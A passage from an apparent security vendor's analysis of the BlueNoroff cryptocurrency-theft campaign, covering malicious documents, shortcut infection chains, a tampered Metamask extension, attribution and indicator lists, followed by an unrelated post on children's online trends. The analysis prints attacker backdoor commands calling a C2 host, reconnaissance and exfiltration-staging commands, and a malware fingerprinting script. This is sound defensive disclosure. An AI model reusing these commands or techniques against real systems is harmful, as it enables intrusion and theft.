We haven’t shown the forwarder address as it belongs to an attacked user, but note there is a piece of text that reads “via sendgrid.net”. There is no website at sendgrid.net, but it can be a domain owned by a US-based company called Sendgrid, that specializes in email distribution, and email marketing campaigns. According to its website, it offers rich user-tracking capabilities and claims to be sending 90 billion emails every month. It seems to be a legitimate and reputable business, which is probably why Gmail accepts MIME header customization (or sender address forgery in the case of an attack) with nothing more than the short remark “via sendgrid.net”. We informed Sendgrid of this activity. Of course, many users could easily overlook the remark or simply not know what it means. The person, whose name was abused here, seems to be in the top management of the Digital Currency Group (dcg.co), according to public information. To make it clear, we believe that the employee of the company, or the company itself has nothing to do with this attack or the email.

Which other company names have they abused? There are many. We have compiled a list of names and logos so you can watch out for them in your inbox.

The companies, whose logos are displayed here, were chosen by BlueNoroff’s for impersonation in social engineering tricks. Note, this is no proof that the companies listed were compromised.

If you recognize them in incoming communication, there’s no reason to panic, but proceed with caution. For example, you can open the incoming documents in a sandboxed or virtualized offline environment, convert the document to a different format or use a non-standard viewer (i.e., server-side document viewer like GoogleDocs, Collabora Online, ONLYOFFICE, Microsoft Office Online, etc.).

In some cases, we saw what looked like the compromise of an existing registered company and the subsequent use of its resources such as social media accounts, messengers and email to initiate business interaction with the target. If a venture capital company approaches a startup and sends files that look like an investment contract or some other promising documents, the startup won’t hesitate to open them, even if some risk is involved and Microsoft Office adds warning messages.

A compromised LinkedIn account of an actual company representative was used to approach a target and engage with them. The true company’s website is different from the one referenced in the conversation. By manipulating trust in this way, BlueNoroff doesn’t even need to burn valuable 0-days. Instead, they can rely on regular macro-enabled documents or older exploits.

We found they generally stick to CVE-2017-0199, using it again and again before trying something else. The vulnerability initially allowed automatic execution of a remote script linked to a weaponized document. The exploit relies on fetching remote content via an embedded URL inside one of the document meta files. An attentive user may even spot something fishy is happening while MS Word shows a standard loading popup window.

If the document was opened offline or the remote content was blocked, it presents some legitimate content, likely scraped or stolen from another party.

If the document isn’t blocked from connecting to the internet, it fetches a remote template that is another macro-enabled document. The two documents are like two ingredients of an explosive that when mixed together produce a blast. The first one contains two base64-encoded binary objects (one for 32-bit and 64-bit Windows) declared as image data. The second document (the remote template) contains a VBA macro that extracts one of these objects, spawns a new process (notepad.exe) to inject and execute the binary code. Although the binary objects have JPEG headers, they are actually only PE files with modified headers.

Interestingly, BlueNoroff shows improved opsec at this stage. The VBA macro does a cleanup by removing the binary objects and the reference to the remote template from the original document and saving it to the same file. This essentially de-weaponizes the document leaving investigators scratching their head during analysis.

Additionally, we’ve seen that this actor utilized an elevation of privilege (EoP) technique in the initial infection stage. According to our telemetry, the word.exe process, created by opening the malicious document, spawned the legitimate process, dccw.exe. The dccw.exe process is a Windows system file that has auto-elevate permission. Abusing a dccw.exe file is a known technique and we suspect the malware authors used it to run the next stage malware with high privilege. In another case, we have observed word.exe spawning a notepad.exe that received a malware injection and in turn spawning mmc.exe. Unfortunately, the full details of this technique are unavailable due to some missing parts.

Malware infection

We assess that the BlueNoroff group’s interest in cryptocurrency theft started with the SnatchCrypto campaign that has been running since at least 2017. While tracking this campaign, we’ve seen several full-infection chains deliver malware. For the initial infection vector, they usually utilized zipped Windows shortcut files or weaponized Word documents. Note that this group has various methods in their infection arsenal and assembles the infection chain to suit the situation.

Infection chain #1. Windows shortcut

The group has been utilizing this infection vector for a long time. The actor sent an archive-type file containing a shortcut file and document to the victim. All archives used for the initial infection vector had a similar structure. The archive contained a document file such as Word, Excel or PDF file that was password protected alongside another file disguised as a text file containing the document’s password. This file is in fact a Windows shortcut file used to fetch the next stage payload.

Archive file and its contents

Before implanting a Windows executable type backdoor, the malware delivered a Visual Basic Script and Powershell Script through multiple stages.

Infection chain

The fetched VBS file is responsible for fingerprinting the victim by sending basic system information, network adapter information, and a process list. Next, the Powershell agent is delivered in encoded format. It also sends the victim’s general information to the C2 server and next Powershell agent, which is capable of executing commands from the malware operator.

VBS and Powershell delivery chain

Using this Powershell agent a full-featured backdoor is created, executing with the command line parameter:

rundll32.exe %Public%\wmc.dll,#1 4ZK0gYlgqN6ZbKd/NNBWTJOINDc+jJHOFH/9poQ+or9l

The malware checks the command line parameter, decoding it with base64 and decrypting it with an embedded key. The decrypted data contains:

  • 63429981 63407466 45.238.25[.]2 443

To verify the parameter’s legitimacy, the malware XORs the second parameter with the 0x5837 hex value, comparing it with the first parameter. If both values match, the malware returns the decrypted C2 address and port. The malware also loads a configuration file (%Public%\Videos\OfficeIntegrator.dat in this case), decrypting it using RC4. This configuration file contains C2 addresses and the next stage payload path will be loaded. The malware has enriched backdoor functionalities that can control infected machines:

  • Directory/File manipulation
  • Process manipulation
  • Registry manipulation
  • Executing commands
  • Updating configuration
  • Stealing stored data from Chrome, Putty, and WinSCP

These are used to deploy other malware tools to monitor the victim: a keylogger and screenshot taker.

Infection chain #2. Weaponized Word document

Another infection chain we’ve seen started from a malicious Word document. This is where the actor utilized remote template injection (CVE-2017-0199) with an embedded malicious Visual Basic Script. In one file (MD5: e26725f34ebcc7fa9976dd07bfbbfba3) the remotely fetched template refers to the first stage document and reads the encoded payload from it, injecting it to the legitimate process.

Remote template infection chain

The other case embedded a malicious Visual Basic Script and extracted a Powershell agent on the victim’s system. Going through this initial infection procedure results in a Windows executable payload being installed.

Infection chain

The persistence backdoor #1 is created in the Start menu path for the persistence mechanism and spawns the first export function with the C2 address.

rundll32.exe "%appdata%\microsoft\windows\start menu\programs\maintenance\default.rdp",#1 https://sharedocs[.]xyz/jyrhl4jowfp/eyi8t5sjli/qzrk8blr_q/rnyyuekwun/yzm1ncj8yb/a3q==

Upon execution, the malware generates a unique installation ID based on the combined hostname, username and current timestamp, which are concatenated and hashed using a simple string hashing algorithm. After sending a beacon to the C2 server, the malware collects general system information, sending it after AES encryption. The data received from the server is expected to have the following structure:


The PROCESS_ID indicates the target process into which the malware will inject a new DLL. DLL_FILE_SIZE is the size of the DLL file to inject. And lastly, DLL_FILE_DATA contains the actual binary executable file to inject.

Based on our telemetry, the actor used another type of backdoor. The persistence backdoor #2 is used to silently run an additional executable payload that is received over an encrypted channel from a remote server. The server address is not hardcoded but rather stored in an encrypted file on the disk (%WINDIR%\AppPatch\PublisherPolicy.tms), whose path is hardcoded in the backdoor. The decrypted configuration file has an identical structure to the configuration file used in Infection chain #1.

As we can see from the above case, the actor behind this campaign delivered the final payload with multi-stage infection and carefully delivered the next payload after checking the fingerprint of the victim. This makes it harder to collect indicators to respond to the attack. With a strict infection chain, a full-featured Windows executable type backdoor is installed. This custom backdoor has long been attributed only to the BlueNoroff group, so we strongly believe that The BlueNoroff group is behind this campaign.

Assets theft Collecting credentials

One of the strategies this threat actor usually uses after implanting a full-featured backdoor is the common discovery and collection strategy used by APT threat actors. We managed to identify BlueNoroff’s hands-on activities on one victim and observed that the group delivered the final payload very selectively. The malware operator mostly relied on Windows commands when performing initial profiling. They collected user accounts, IP addresses and session information:

  • cmd.exe /c “query session >%temp%\TMPBFF2.tmp 2>&1”
  • cmd.exe /c “ipconfig /all >%temp%\TMPEEE2.tmp 2>&1”
  • cmd.exe /c “whoami >%temp%\TMP218C.tmp 2>&1”
  • cmd.exe /c “net user [user account] /domain >%temp%\TMP4B7C.tmp 2>&1”
  • cmd.exe /c “net localgroup administrators >%temp%\TMP9518.tmp 2>&1”
  • cmd.exe /c “query session >%temp%\TMPBFF2.tmp 2>&1”
  • cmd.exe /c “ipconfig /all >%temp%\TMPEEE2.tmp 2>&1”

In the collection phase, the malware operator also relied on Windows commands. After finding folders of interest, they copied a folder named 策略档案 (Chinese for “Policy file“) to the previously created “MM” folder for exfiltration. Also, they collected a configuration file related to cryptocurrency software in order to extract possible credentials or other account details.

  • cmd.exe /c “mkdir %public%\MM >%temp%\TMPF522.tmp 2>&1”
  • xcopy “%user%\Desktop\[redacted]工作文档\MM策略档案” %public%\MM /S /E /Q /Y
  • cmd.exe /c “rd /s /q %public%\MM >%temp%\TMP729D.tmp 2>&1”
  • cmd.exe /c “type D:\2\Crypt[redacted]\Crypt[redacted].conf >%temp%\TMP496B.tmp 2>&1″

From one victim, we discovered that the operators manually copied a file that was created by one of the monitoring utilities (such as screenshot or keystroke data) to the %TEMP% folder in order to be sent to an attacker-controlled remote resource.

  • cmd.exe /c “copy “%appdata%\Microsoft\Feeds\Creds_5FADD329.dat” %public%\ >%temp%\TMP11C4.tmp 2>&1″
Stealing cryptocurrency

In some cases where the attackers realized they had found a prominent target, they carefully monitored the user for weeks or months. They collected keystrokes and monitored the user’s daily operations, while planning a strategy for financial theft.

If the attackers realize that the target uses a popular browser extension to manage crypto wallets (such as the Metamask extension), they change the extension source from Web Store to local storage and replace the core extension component (backgorund.js) with a tampered version. At first, they are interested in monitoring transactions. The screenshot below shows a comparison of two files: a legitimate Metamask background.js file and its compromised variant with injected lines of code highlighted in yellow. You can see that in this case they set up monitoring of transactions between a particular sender and recipient address. We believe they have a vast monitoring infrastructure that triggers a notification upon discovering large transfers.

The details of the transaction are automatically submitted via HTTP to a C2 server:

In another case, they realized that the user owned a substantial amount of cryptocurrency, but used a hardware wallet. The same method was used to steal funds from that user: they intercepted the transaction process and injected their own logic.

All this sounds easy, but in fact requires a thorough analysis of the Metamask Chrome extension, which is over 6MB of JavaScript code (about 170,000 lines of code) and implementation of a code injection that rewrites transaction details on demand when the extension is used.

This way, when the compromised user transfers funds to another account, the transaction is signed on the hardware wallet. However, given that the action was initiated by the user at the very right moment, the user doesn’t suspect anything fishy is going on and confirms the transaction on the secure device without paying attention to the transaction details. The user doesn’t get too worried when the size of the payment he/she inputs is low and the mistake feels insignificant. However, the attackers modify not only the recipient address, but also push the amount of currency to the limit, essentially draining the account in one move.

The injection is very hard to find manually unless you are very familiar with the Metamask codebase. However, a modification of the Chrome extension leaves a trace. The browser has to be switched to Developer mode and the Metamask extension is installed from a local directory instead of the online store. If the plugin comes from the store, Chrome enforces digital signature validation for the code and guarantees code integrity. So, if you are in doubt, immediately check your Metamask extension and Chrome settings.

Developer mode enabled in Google Chrome

If you use Developer mode, make sure your important extensions come from the Web Store

Unless you are a Metamask developer yourself, this may indicate a Trojanized extension

SnatchCrypto’s victims

The target of the SnatchCrypto campaign is not limited to specific countries and continents. This campaign is aimed at various companies that by the nature of their work deal with cryptocurrencies and smart contracts, DeFi, blockchains, and FinTech industry.

According to our telemetry, we discovered victims from Russia, Poland, Slovenia, Ukraine, the Czech Republic, China, India, the US, Hong Kong, Singapore, the UAE and Vietnam. However, based on the shortened URL click history and decoy documents, we assess there were more victims of this financially motivated attack campaign.

BlueNoroff victims

In addition to the above-mentioned countries, we observed uploads of weaponized documents and compromised Metamask extensions from Indonesia, the UK, Sweden, Germany, Bulgaria, Estonia, Russia, Malta and Portugal.

SnatchCrypto’s attribution

We assess with high confidence that the financially motivated BlueNoroff group is behind this campaign. As a result of understanding the SnatchCrypto campaign’s full chain of infection, we can identify several overlaps with the BlueNoroff group’s previous activities.

VBA macro authorship

Analysis of the VBA macro from the remote template used during the initial infection revealed that the code matched the style and technique previously used by Clément Labro, an offensive security researcher from the company SCRT based out of Morges, Vaud, Switzerland. The original code for process injection from the VBA macro hasn’t been found in the public, so either Clément has privately developed it and later it became available to BlueNoroff, or someone adapted his other VBA code, such as the VBA-RunPE project.

PowerShell scripts overlap

One tool this group relied heavily on is the PowerShell script. Through an initial infection they deployed PowerShell agents on several victims, sending basic system information and executing commands from the control server. They have utilized this PowerShell continuously, while adding small updates.

PowerShell script used in previous BlueNoroff campaign PowerShell script used in 2021 campaign

function GetBasicInformation
$HostName = [System.Environment]::MachineName;
$UserName = [System.Environment]::UserName;
$DomainName = [System.Environment]::UserDomainName;
$CurrentDir = [System.Environment]::CurrentDirectory;
$BinPath = [System.Environment]::GetCommandLineArgs()[0];
$OSVersion = [System.Environment]::OSVersion.VersionString;
$Is64BitOS = [System.Environment]::Is64BitOperatingSystem;
$Is64BitProcess = [System.Environment]::Is64BitProcess;
$PSVersion = ‘PS ‘ + [System.Environment]::Version;
$BasicInformation = $HostName + ‘|’ + $UserName + ‘|’ + $DomainName + ‘|’ + $CurrentDir + ‘|’ + $BinPath + ‘|’ + $OSVersion + ‘|’ + $Is64BitOS + ‘|’ + $Is64BitProcess + ‘|’ + $PSVersion;
return $BasicInformation;
}function ProcessCommand

function GetBI
$HostName = [System.Environment]::MachineName;
$UserName = [System.Environment]::UserName;
$DomainName = [System.Environment]::UserDomainName;
$CurrentDir = [System.Environment]::CurrentDirectory;
$BinPath = [System.Environment]::GetCommandLineArgs()[0];
$OSVersion = [System.Environment]::OSVersion.VersionString;
$Is64BitOS = [System.Environment]::Is64BitOperatingSystem;
$Is64BitProcess = [System.Environment]::Is64BitProcess;
$PSVersion = [System.Environment]::Version;$BasicInformation = $HostName + ‘|’ + $UserName + ‘|’ + $DomainName + ‘|’ + $CurrentDir + ‘|’ + $BinPath + ‘|’ + $OSVersion + ‘|’ + $Is64BitOS + ‘|’ + $Is64BitProcess + ‘|’ + $PSVersion;return $BasicInformation;
}function ProcessCommand

Backdoor overlap

Through the complicated infection chain, a Windows executable type backdoor is eventually installed on the victim machine. We can only identify this backdoor malware from a few hosts. It has many code similarities with previously known BlueNoroff malware. Using Kaspersky Threat Attribution Engine (KTAE), we see that the malware binaries used in this campaign have considerable code similaritis with known tools of the BlueNoroff group.

Code similarity of backdoor

In addition, we can identify uncommon techniques usually discovered from the BlueNoroff group’s malware. The group’s malware acquires a real C2 address by XORing the resolved IP address with a hardcoded DWORD value. We saw the same technique in our previous BlueNoroff report. The malware used in the SnatchCrypto campaign also used the same technique to acquire real C2 addresses.

Similar C2 address acquiring scheme

In addition, based on the metadata of the Windows shortcut files, we found that the actor behind this campaign is familiar with the Korean operating system environment.

[String Data] Working Directory (UNICODE): %currentdir% Arguments (UNICODE): hxxps://bit[.]ly/2Q9tfCz Icon location (UNICODE): C:\Windows\notepad.exe [Console Code Page] Code page: 949 (EUC-KR)

BlueNoroff’s indicators of compromise

Malicious shortcut files
5af886030204952ae243eedd25dd43c4    Password.txt.lnk
5f761f9aa3c1a76b17f584b9547a01a7    Password.txt.lnk
7a4a0b0f82e63941713ffd97c127dac8    Password.txt.lnk
961e6ec465d7354a8316393b30f9c6e9    Gdpr Password.txt.lnk
a3c61de3938e7599c0199d2778f7d417    Password.txt.lnk
e6e64c511f935d31a8859e9f3147fe24    Password.txt.lnk
5e44deca6209e64f4093beae92db0c93    Password.txt.lnk
84c427e002fd162d596f3f43ce86fd6a    Password.txt.lnk
09bca3ddbc55f22577d2f3a7fda22d1c    Password.txt.lnk
0eb71e4d2978547bd96221548548e9f0    Password.txt.lnk
da599b0cde613b5512c13f299fec739e    Password.txt.lnk
0c9170a2584ceeddb89e4c0f0a2353ed    Password.txt.lnk
5053103dd5d075c1dc54edf1f8568098    Password.txt.lnk
536bae311c99a4d46f503c68595d4431    Password.txt.lnk
3078265f207fed66470436da07343732    Password.txt.lnk
15f1ae1fed1b2ea71fdb9661823663c6    Password.txt.lnk
56fe283ca3e1c1667191cc7764c260b6    Password.txt.lnk
850751de7b8e158d86469d22ad1c3101    Password.txt.lnk
1a8282f73f393656996107b6ec038dd5    Password.txt.lnk
2ea2ceab1588810961d2fc545e2f957e    Password.txt.lnk
561f70411449b327e3f19d81bb2cea08    Password.txt.lnk
3812cdc4225182326b1425c9f3c2d50b    Password.txt.lnk
4274e6dbc2b7aee4ef080d19fff47ce7    Password.txt.lnk
427bdfe4425e6c8e3ea41d89a2f55870    Password.txt.lnk
7a83be17f4628459e120a64fcab70bac    Password.txt.lnk
5d662269739f1b81072e4c7e48972420    Password.txt.lnk
244a23172af8720882ae0141292f5c47    Password.txt.lnk
a8e2c94abb4c1e77068a5e2d8943296c    Password.txt.lnk
89c26cefa057cf21054e64b5560bf583    Xbox.lnk
805949896d8609412732ee7bfb44900a    Password.txt.lnk
a2be99a5aa26155e6e42a17fbe4fd54d    Security Bugs in rigs.pdf.lnk
28917b4187b3b181e750bf024c6adf70    readme.txt.lnk
9f8e51f4adc007bb0364dfafb19a8c11    UserAssist.lnk
790a21734604b374cf260d20770bfc96    SALT Lending Opportunities.pdf.lnk
db315d7b0d9e8c9ca0aa6892202d498b    Password.txt.lnk
02904e802b5dc2f85eec83e3c1948374    Security Bugs in Operation.pdf.lnk
302314d503ae88058cb4c33a6ac6b79b    Password.txt.lnk
aeac6f569fb9a7d3f32517aa16e430d6    Password.txt.lnk
8064e00b931c1cab6ba329d665ea599c    MSEdge.lnk
781a20f27b72c1c901164ce1d025f641    MSAssist.lnk
483e3e0b1dceb4a5a13de65d3556c3fe    MSAssist.lnk

Malicious documents
00a63a302dcaffc9f28826e9dba30e03    Abies VC Presentation.docx
ee9dda6bbbb1138263873dbef36a4d42    Abies VC Presentation.docx
0f1c81c2023eae0fc092ce9f58213bcf    Abies VC Presentation.docx
491e0d776f01f102d36155a46f1a8e3c    Ant Capital Presentation (Azure Protected).docx
c33ce08ebcc6e508bb3a17e0fa7b08f8    Global Brain Pitch Deck.docx
340fb219872ce3c0d3acf924f4f9e598    Venture Labo Investment Pitch Deck.docx
2a9ff6d80cdd4aeed1c48a1ccdc525dd    Abies VC Presentation.docx
ecf75bec770edcd89a3c16d3c4edde1a    Abies VC Presentation (1).docx
6c4943f4c28a07ee8cae41dad16d72b3    Abies VC Presentation.docx
f76e2e6bfbee77ae36049880d7c227f7    Abies VC Presentation.docx
7aec3d1b24ed0946ab740924be5834fa    Abies VC Presentation.docx
47e325e3467bfa80055b7c0eebb11212    Abies VC Presentation.docx
1e0d96c551ca31a4055491edc17ce2dd    Abies VC Presentation.docx
bcf97660ce2b09cbffb454aa5436c9a0    Digital Asset Investment Stategy 2020 (ISO 27001).docx
13ff15ac54a297796e558bb96feaacfd    Abies VC Presentation(ISO 27001).docx
cace67b3ea1ce95298933e38311f6d0b    Adviser-Non-Disclosure-Agreement-NDA(ISO 27001).docx
645adf057b55ef731e624ab435a41757    OKEx and DeepMind Intro Deck(ISO 27001_Protected).docx
bde4747408ce3cfdfe8238a133ebcac9    Circle Business Introduction(ISO 27001).docx
421b1e1ab9951d5b8eeda5b041cb0657    Berkshire Hathaway HomeServices Custody – Mutual NDA.docx
d2f08e227cd528ad8b26e9bbe285ae3c    Union Square Ventures Partnership – Mutual NDA Form.docx
04deb35316ebe1789da042c8876c0622    Chiliz Partnership – Mutual NDA Form.docx
af4eefa8cddc1e412fe91ad33199bd71    FasterCapital Mutual NDA Form.docx
34239a3607d8b5b8ddd6797855f2e827    FasterCapital Introduction 2020 Oct.docx
389172d2794d789727b9f7d01ec27f75    Lundbergs NDA Mutual Form.docx
f40e7998a84495648b0338bc016b9417    Union Square Ventures Partnership – Mutual NDA Form.docx
c8c2a9c50ff848342b0885292d5a8cd4    VIRUS.docx
adf9dc317272dc3724895cb07631c361    Non-Disclosure-Agreement-NDA(ISO 27001).docx
158d84c90a79edb97ec5b840d86217c7    Venture Labo Investment Pitch Deck.docx
e26725f34ebcc7fa9976dd07bfbbfba3    Global Brain Pitch Deck.docx
f26eaa212c503aaba6e5015cb8ef44b5     Venture Labo Investment Pitch Deck.docx
793de76de6d4015ebdd5e552ac5b2f90    Pantera Capital Investment Agreement(Protected).docx
709ec9fbbc3c37ccd39758527c332b84    Pantera Capital Investment Agreement(Protected).docx
89099235aad37a29b7acedc96fda0037    Venture Labo Investment Pitch Deck.docx
358791e1abd64f490c865643a3fbb93d    Z Venture Capital Presentation(Protected).docx
cea54a904434c66f217fbadc571e1507    Z Venture Capital Presentation(Protected).docx
9be0075b9344590b3cabf61c194db180    Rapid Change of Stablecoin (Protected).docx
98e30453bbf1c9c9f48368f9bbe69edd    Z Venture Capital Presentation(Protected).docx
9ad7b21603ecce5ee744ba8aa387fb6c    Pantera Capital Investment Agreement(Protected).docx.123.docx.123

Injected remote template

Visual Basic Script
ce09cdb7979fb9099f46dd33036b9001    xivwtjab.vbs
f7f4aa55a2e4f38a6a3ea5a108baedf5    vwnozphn.vbs

ae52b28b360428829c4fcdc14e839f19    usoclient.ps1

Powershell agent(VBS-wrapped)

73572519159b0c27a18dbbaf25ef1cc0  guide.vbs
8ae6aa90b5f648b3911430f14c92440b  %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\check.vbs
ae12a668dd9f254c42fcd803c7645ed1  1.vbs
589f1bb4da89cfd4a2f7f3489aa426a9  %APPDATA%\microsoft\windows\start menu\programs\startup\guide.vbs
73572519159b0c27a18dbbaf25ef1cc0  guide.vbs

db91826cb9f2ad6edfed8d6bab5bef1f    users.dll, wmc.dll


Screencapture malware


ec2b51dc1dc99165a0eb46b73c317e25    cssvc.dll
d8e51f1b9f78785ed7449145b705b2e4    cfssvc.dll
dd2d50d2f088ba65a3751e555e0dea71    bfcsvc.dll
f5317f1c0a10a80931378d68be9a4baa    lssc.dll
8727a967bbb5ebd99789f7414d147c31    sst.dll
cab281b38a57524902afcb1c9c8aa5ba    bnt.dll
6a2cbaea7db300925d25d9decf461d95    lmsvc.dll
1993ebb00cb670c6e2ca9b5f6c6375c4    sessc.dll
1fb48113d015466a272e4b70c3109e06    wssc.dll
724d11c2cae561225e7ed31d7517dd40    lsasvc.dll
56df737f3028203db8d51ed1263160ad    ocss.dll
a160b36426ce77bccdd32d117eeb879b    csscv.dll
8fa484d35e60b93a4128dc5de45ec0df    wmmc.dll

Persistence Backdoor #1
2934a7a0dfaf2ebc81b1f089277129c4  Default.rdp
6c97c64052dfdc457b001f84b8657435  Default.rdp
bdc354506d6c018b52cb92a9d91f5f7c  Default.rdp
737478dbd1f66c9edb2d6c149432be26  Default.rdp
5912e271b0da85ae3327d66deabf03ed  Default.rdp
d209c3da192c49cecb5a7b3d0f7154ac  Default.rdp
8d8f3a0d186b275e51589a694e09e884  Default.rdp
0a9b8ca2988208b876b74641c07f631e  Default.rdp

Persistence Backdoor #2
9b30baa7873d86f985657c3e324ac431  vsat.dll
ae79ea7dfa81e95015bef839c2327108  ssdp.dll


C2 address used by backdoor

2021. december 22.

Choosing Christmas gifts for kids: Squid Game and Huggy Wuggy are trending

As the holidays approach, many of us are trying to figure out what to buy our family and friends. We especially want to make this time of year festive for kids. If you want to delight children, you need to know what they’re interested in: what LEGO set they’re dreaming about, what superheroes they’d be happy to see on their pajamas, and what movies you should take them to if you want to make the holidays unforgettable.

In this article we take a look at the online activities of children around the world over the last three months to gain insight into the latest fads and to figure out perfect Christmas gift.

How we collect our statistics Website categorization

Our Kaspersky Safe Kids solution for home users scans the contents of web pages that children try to visit. If the site falls into one of 14 categories, the product sends an alert to Kaspersky Security Network. In doing so, no personal data is transmitted and user privacy is not violated. Note:

It is up to parents to decide which content to block by tweaking the protective solution’s preferences. However, anonymous statistics are collected for all the 14 categories.

The information in this report was obtained from mobile devices running Android and iOS.

Web filtering in Kaspersky Safe Kids currently covers the following categories:

  • Adult content
  • Alcohol, tobacco, narcotics
  • Violence
  • Profanity, obscenity
  • Weapons, explosives, pyrotechnics
  • Job search
  • Anonymizers
  • Software, audio, video
  • Gambling, lotteries, sweepstakes
  • Internet communication
  • Online stores, banks, payment systems
  • Videogames
  • Religions, religious associations
  • News media

Detailed descriptions of these categories are posted on our website.

Search query filtering

Looking at children’s search activity is the best way to see what they are interested in. Kaspersky Safe Kids can filter kids’ queries in five search engines (Bing, Google, Mail.ru, Yahoo!, Yandex), as well as on YouTube. Filtering targets six potentially dangerous topics: Adult content, Alcohol, Narcotics, Tobacco, Racism and Profanity.

This report presents statistics on YouTube searches. The TOP 1,000 search queries collected from YouTube over the period from September to November 2021, inclusive, was taken as 100%. The ranking was based on the number of times a query was input, without breakdown by region or language. The popularity of a topic is determined by its share of related queries.

We have split the search queries we collected from September through November 2021 into several subject categories:

  • Videogames
  • Music
  • YouTube bloggers
  • Movies, cartoons and TV shows
  • Gacha Life
  • Memes
  • Hobbies and crafts
  • Squid Game
  • Anime
  • ASMR
  • TikTok
  • Toys
  • Adult content
  • Sports
  • Educational content
  • Miscellaneous
Control the use of programs

Kaspersky Safe Kids allows parents to control and limit the amount of time their children spend on apps on their devices. This study draws on anonymized data on the number of hours children spent on apps on devices running the Android operating system in the world as a whole.

We determined 10 world’s most popular apps. We took the sum of the hours spent on these apps for 100%. The percentage breakdown in the TOP 10 reflects the number of hours spent on each app.

Most popular Android apps

Over the last few years, we have observed a trend of children shifting their activities from desktop and laptop computers to mobile devices. These days, most children are actively using not only computers but also smartphones and tablets. To come up with the most accurate gift forecast, we need to take note of which apps children are spending the most time on, which websites they open in mobile browsers and which videos they are watching most on YouTube.

10 most popular Android apps, September–November 2021 (download)

In September, October and November 2021, children across the world — actually, as always — spent most of their time on the YouTube app: 31.42% of the time spent on 10 most popular apps. WhatsApp, a messaging service, was second with 19.17%, with TikTok coming in a close third, with 18.77%. Children have not totally abandoned Instagram, but it was a whopping 13 percentage points behind TikTok, accounting for only 5.21% of their time.

Children spent slightly more time surfing in the Google Chrome browser than playing Roblox — 7.08% versus 6.82% — while Roblox slightly outpaced the wildly popular game Brawl Stars, which accounted for 4.78% of children’s time. Snapchat was eighth (and third among social networks), with 2.45%, while Viber, the second most popular messaging service, was ninth with 2.16%. Rounding out the 10 most used apps was Netflix, with 2.15%.

Kaspersky Safe Kids Android and iOS alerts distribution by category, September–November 2021 (download)

Let’s look more closely at children’s activities in mobile browsers: websites of which categories they visited in fall 2021. The most sought-after websites were those used for communication (35.68%) and websites with audio and video content (33.75%). These categories were followed by online stores (9.99%) and resources about gaming (7.54%). Websites with adult content were fifth, with 3.68%. In the past, when we collected statistics in the Safe Kids categories only from Windows and macOS PCs, we assumed that children preferred to visit these kinds of resources from mobile devices. Our assumption was correct to a certain extent. Nevertheless, children and adolescents are significantly less interested in erotic and pornographic content than in games, music, movies and online shopping.

Children’s YouTube search queries by subject category, September–November 2021 (download)

We already know that YouTube is the most popular and most visited website among children all over the world. To determine exactly what they’re interested in, we need to look at what videos they are searching for most frequently. To do this, we analyzed children’s TOP 1,000 search queries over the period from September to November 2021.

In first place in terms of popularity were gaming-related queries (28.43%). In second place were queries related to music (19.14%). The third place, with 16.29%, took names of channels and bloggers that cover a range of content and are therefore difficult to slot into a single topic. Next, with 12.07%, were the names of cartoons, movies and TV shows children were interested in this autumn. Searches for the game Gacha Life and everything related to it accounted for 5.36% of search queries. Memes represented 2.98% of search queries, while channels and videos with DIY instructions represented 2.55%. In addition, the South Korean TV show Squid Game was such a sensation this autumn that we decided it merited its own category. Search queries related to it made up 2.49% of the most popular queries during this period.

Let’s look more closely at each of the most popular topics children searched for so we can see what their latest obsessions are and come up with gift ideas for this Christmas.


Top YouTube video game-related searches, September–November 2021 (download)

The most frequent searches were for the names of gaming bloggers or channels on YouTube (41.68% of all game-related queries). The most popular bloggers among children are MrBeast (in English), EdisonPts (in Russian) and Paluten (in German). The second most popular searches were related to Minecraft (22.43%), in particular the queries “minecraft”, “minecraft 100 days” and “minecraft live”. Judging by search queries, videos related to the online game Roblox (5.92%), one of the TOP 10 most popular apps on Android, are of less interest to kids than Minecraft Let’s Plays. As for Brawl Stars (5.44%), kids also prefer to play on their own rather than watch walkthroughs. Fortnite Battle Royale, which we’ve all come to know and (perhaps not) love in the past few years, accounts for 4% of all YouTube gaming searches. The until recently mega-popular Among Us, however, has already started to bore its young fan base: its share of searches was a paltry 0.97%. Meanwhile, the fight for kids’ attention has been joined by some new players in the past three months: Genshin Impact (1.67%) and Poppy Playtime (1.58%).

Genshin Impact is an open-world fantasy game that lets players explore and solve puzzles along the way. The game features an anime-style look.

Poppy Playtime, on the other hand, is an indie survival horror game, the first chapter of which immediately wowed kids when released in October 2021. One of the most memorable characters in the game is Huggy Wuggy, a blue furry monster that is already the subject of many memes and its own videos. In the non-virtual world, there is also the Huggy Wuggy plush toy to keep kids entertained. As well as a Pop It version of said monster.

The remaining game-related searches (14.89%) are for other games and game studios, which individually make up an insignificant share of the total. These include, for example, the games Star Stable, Just Dance and Clash Royale, as well as kids’ game developer Toca Boca.


In second place by share of YouTube searches is music (19.14%). The most popular musicians this fall, as in previous few years, are BTS, BlackPink, Morgenstern, Instasamka, Lil Nas X, Ariana Grande and Twice. The most popular songs are Love Nwantiti by CKay and two new solo tracks by BlackPink member LISA — LALISA and MONEY. Despite not being new, the K-pop phenomenon continues to interest kids and place highly. This fact is used by global stars who record joint tracks with Korean performers to maximize YouTube views, because kids more than anyone watch music videos and often replay the same track over and over again. This fall, for instance, children showed interest in the band Coldplay, who previously had not been on their radar. All because of the group’s joint hit with BTS — My Universe.

In addition to K-pop, children regularly listen to artists made famous by the social network TikTok, which has recently become a key factor in the music industry. If a track goes viral on TikTok, it’s a guaranteed hit. As with Korean stars, established artists seeking to raise their profile among kids are keen to collaborate with TikTok-made upstarts. For example, Russia’s Nikolay Baskov released a collaboration with one of the country’s most popular Tiktokers, Danya Milokhin.

If you’re looking for a gift based on a child’s musical preferences, you won’t go wrong by watching their favorite video and picking out an item of clothing or accessory on display there. It doesn’t even need to be a specific item, just something in tune with the general vibe. You can also buy a pair of high-quality, fashionable headphones for listening in surround sound. A subscription to a music streaming service will also make your child happy. And buying a ticket to see their favorite group will win you lots of brownie points and create pleasant memories that will last a lifetime — priceless.

Movies, cartoons and TV shows

Distribution of YouTube search queries in the Movies, cartoons and TV shows category, September–November 2021 (download)

Among the TOP 1000 most popular YouTube searches, 12.07% are for movies, cartoons and TV shows. And of this figure, 56.38% are for cartoons. The most searched-for cartoons in the fall of 2021 were Peppa Pig, Luntik, The Barkers and Ladybug & Cat Noir.

TV shows are in second place by search frequency: 35.33% of all searches for movies, cartoons and shows. This fall, kids watched Russian comedy show Что было дальше? (What Happened Next), the sixth season of the Russian show Patsanki, the German shows Hilf mir! Jung, pleite, verzweifelt and Berlin — Tag & Nacht, the Korean drama A Beauty of Revenge and the timeless Mr Bean.

